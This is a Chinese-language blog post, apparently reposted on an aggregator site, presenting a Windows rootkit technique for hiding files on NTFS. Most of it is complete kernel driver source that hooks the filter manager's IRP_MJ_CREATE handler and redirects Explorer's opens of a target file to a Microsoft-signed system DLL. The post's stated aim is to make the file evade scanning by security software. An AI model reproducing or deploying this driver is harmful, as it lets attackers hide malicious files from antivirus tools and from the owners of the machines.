Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】

编程入门 行业动态 更新时间:2024-10-24 08:30:45

Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS<a href=https://www.elefans.com/category/jswz/34/1771295.html style=文件系统】"/>

Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】

文章目录

    • 前言
    • 探究
    • 代码
    • 演示

前言

文件隐藏的方法有很多,这里分享的是一种通过内核文件重定向的方式动态规避检测的方法。举例:假设有一个安全软件A,A要扫描文件B,B是我们想要隐藏的文件。那么我们在内核中将A打开文件B的操作重定向到打开文件C,文件C我们设置为一个系统原有且自带微软签名的文件,这样文件B就躲过了A的扫描。等同于文件B对于安全软件A来说就是隐藏的。

探究

现在几乎所有的安全软件对于文件监控都是基于MiniFilter框架,而该框架的能力由FltMgr.sys这个驱动提供。而这个驱动会将设备对象附加到文件系统上,NTFS文件系统的驱动对象名为 \FileSystem\Ntfs。在FltMgr驱动的派遣函数中会调用到所有通过 F l t R e g i s t e r F i l t e r \textcolor{cornflowerblue}{FltRegisterFilter} FltRegisterFilter函数注册的文件过滤器。如果我们在它调用安全软件注册的文件过滤器之前,将文件路径修改就能实现上述的文件重定向。

为了实现这个目标,我们首先需要获取NTFS文件系统的驱动对象。这里有个很好用的未文档化函数 O b R e f e r e n c e O b j e c t B y N a m e \textcolor{cornflowerblue}{ObReferenceObjectByName} ObReferenceObjectByName

NTSATUS ObReferenceObjectByName(_In_ PUNICODE_STRING ObjectName, // 驱动对象名_In_ ULONG Attributes,			// 属性值,通常填 OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE_In_ PACCESS_STATE AccessState,	 // 访问状态,一般填 NULL_In_ ACCESS_MASK DesiredAccess,	 // 预期的访问值,一般填0_In_ POBJECT_TYPE ObjectType,	 // 根据对象名代表的类型,有IoDriverObjectType、IoDeviceObjectType、IoFileObjectType .etc_In_ KPROCESSOR_MODE AccessMode, // 内核下九天KernelMode_In_opt_ PVOID ParseContext,	 // 一般填NULL_Inout_ PVOID* Object);			// 输出对象指针

于是可以调用此函数,传入驱动对象名字得到驱动对象。然后我们从NTFS驱动对象中找到附加的FltMgr驱动对象,将该对象的IRP_MJ_CREATE类型的处理函数替换成我们自己的处理函数。随后在我们的处理函数中就可以做手脚了。

代码

#include <ntifs.h>using ObReferenceObjectByName_t = NTSTATUS(NTAPI*)(_In_ PUNICODE_STRING ObjectName,_In_ ULONG Attributes,_In_ PACCESS_STATE AccessState,_In_ ACCESS_MASK DesiredAccess,_In_ POBJECT_TYPE ObjectType,_In_ KPROCESSOR_MODE AccessMode,_In_opt_ PVOID ParseContext,_Inout_ PVOID* Object);// 保存原始的创建文件处理函数
PDRIVER_DISPATCH g_FnOriginalCreateFileHandler = NULL;
ObReferenceObjectByName_t g_FnObReferenceObjectByName = NULL;extern"C" PCHAR PsGetProcessImageFileName(PEPROCESS Process);
extern"C" POBJECT_TYPE * IoDriverObjectType;extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath);VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj);
BOOLEAN RetrievesKernelUnDocumentFuncition();
BOOLEAN HookFltMgr(BOOLEAN bRemove);
static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp);extern"C" NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDrvObj, _In_ PUNICODE_STRING pRegPath)
{NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;pDrvObj->DriverUnload = DriverUnload;if (RetrievesKernelUnDocumentFuncition()){if (HookFltMgr(FALSE)){ntStatus = STATUS_SUCCESS;}}return ntStatus;
}VOID DriverUnload(_In_ PDRIVER_OBJECT pDrvObj)
{if (HookFltMgr(TRUE)){// 需要等待1s,因为怕之前有些进入到自己的HOOK函数还没有完全出来,模块就已经卸载,导致BSOD。LARGE_INTEGER liDelayInterval;liDelayInterval.QuadPart = -1 * 100 * 100 * 10;KeDelayExecutionThread(KernelMode, FALSE, &liDelayInterval);DbgPrint("[+] UnHook FileSysDriver.\n");}DbgPrint("[+] Driver unload.\n");
}BOOLEAN HookFltMgr(BOOLEAN bRemove)
{UNICODE_STRING uszTargetDriverName = RTL_CONSTANT_STRING(L"\\FileSystem\\Ntfs");PDRIVER_OBJECT pFileSysDrvObj = NULL;PDRIVER_OBJECT pTargetDrvObj = NULL;PDEVICE_OBJECT pFileSysDevObj = NULL;NTSTATUS ntStatus = STATUS_UNSUCCESSFUL;ntStatus = g_FnObReferenceObjectByName(&uszTargetDriverName,OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,NULL,0,*IoDriverObjectType,KernelMode,NULL,(PVOID*)&pFileSysDrvObj);if (!NT_SUCCESS(ntStatus)){goto free_exit;}pFileSysDevObj = pFileSysDrvObj->DeviceObject;if (!MmIsAddressValid(pFileSysDevObj)){goto free_exit;}if (pFileSysDevObj->AttachedDevice){if (MmIsAddressValid(pFileSysDevObj->AttachedDevice)){// 取到的就是FltMgr的 Driver objectpTargetDrvObj = pFileSysDevObj->AttachedDevice->DriverObject;}else{goto free_exit;}}else{// 说明没有过滤驱动,直接使用当前文件系统驱动pTargetDrvObj = pFileSysDrvObj;}if (!pTargetDrvObj){goto free_exit;}if (bRemove){InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],(LONG64)g_FnOriginalCreateFileHandler);}else{g_FnOriginalCreateFileHandler = (PDRIVER_DISPATCH)InterlockedExchange64((LONGLONG*)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE],(LONG64)FsCreateFileHandler_Proxy);}ntStatus = STATUS_SUCCESS;free_exit:if (pFileSysDrvObj){ObDereferenceObject(pFileSysDrvObj);}return NT_SUCCESS(ntStatus);
}BOOLEAN RetrievesKernelUnDocumentFuncition()
{UNICODE_STRING uszFnObRefernceObjectByName = RTL_CONSTANT_STRING(L"ObReferenceObjectByName");g_FnObReferenceObjectByName = (ObReferenceObjectByName_t)MmGetSystemRoutineAddress(&uszFnObRefernceObjectByName);return g_FnObReferenceObjectByName != NULL;
}static NTSTATUS FsCreateFileHandler_Proxy(_In_ PDEVICE_OBJECT pDevObj, _In_ PIRP pIrp)
{PIO_STACK_LOCATION pIostkloc = IoGetCurrentIrpStackLocation(pIrp);PUNICODE_STRING puzFileObjectName = NULL;PCHAR pszProcName = NULL;// 预定义重定向路径WCHAR wszReDirectionPath[] = L"\\Windows\\System32\\rpcrt4.dll";ULONG ulReDirectionPathLength = wcslen(wszReDirectionPath);// 做一些前置检查:// (1) Irql级别必须在PASSIVE_LEVEL// (2) 当前IRQL栈不为空// (3) 当前IRQL栈中的文件对象不为空if ((KeGetCurrentIrql() != PASSIVE_LEVEL)|| (pIostkloc == NULL)|| (pIostkloc->FileObject == NULL)){goto goon;}// 只处理Explorer.exe进程文件打开情况pszProcName = PsGetProcessImageFileName(PsGetCurrentProcess());if (_stricmp(pszProcName, "Explorer.EXE")){goto goon;}puzFileObjectName = &pIostkloc->FileObject->FileName;// 过滤出要隐藏的文件if (puzFileObjectName->Buffer && !wcsstr(puzFileObjectName->Buffer, L"HideFile.sys")){goto goon;}// 将打开的文件路径改为预定义的文件路径实现重定向if (puzFileObjectName->Length > ulReDirectionPathLength * sizeof(WCHAR)){RtlZeroMemory(puzFileObjectName->Buffer, puzFileObjectName->MaximumLength);RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);}else{// 尝试释放原来的内存,防止泄露if (puzFileObjectName->Buffer){ExFreePool(puzFileObjectName->Buffer);}puzFileObjectName->Buffer = (PWCHAR)ExAllocatePoolWithTag(NonPagedPool, ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR),'RdFn');if (!puzFileObjectName->Buffer){goto goon;}RtlCopyMemory(puzFileObjectName->Buffer, wszReDirectionPath, ulReDirectionPathLength * sizeof(WCHAR));puzFileObjectName->Buffer[ulReDirectionPathLength] = 0;puzFileObjectName->Length = ulReDirectionPathLength * sizeof(WCHAR);puzFileObjectName->MaximumLength = ulReDirectionPathLength * sizeof(WCHAR) + sizeof(WCHAR);}goon:return g_FnOriginalCreateFileHandler(pDevObj, pIrp);
}

演示



可以发现Explorer被忽悠了。

更多推荐

Rookit系列二【文件隐藏】【支持Win7 x32/x64 ~ Win10 x32/x64平台的NTFS文件系统】

本文发布于:2023-12-03 07:35:18,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1652728.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:文件系统   文件   系列   平台   Rookit

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!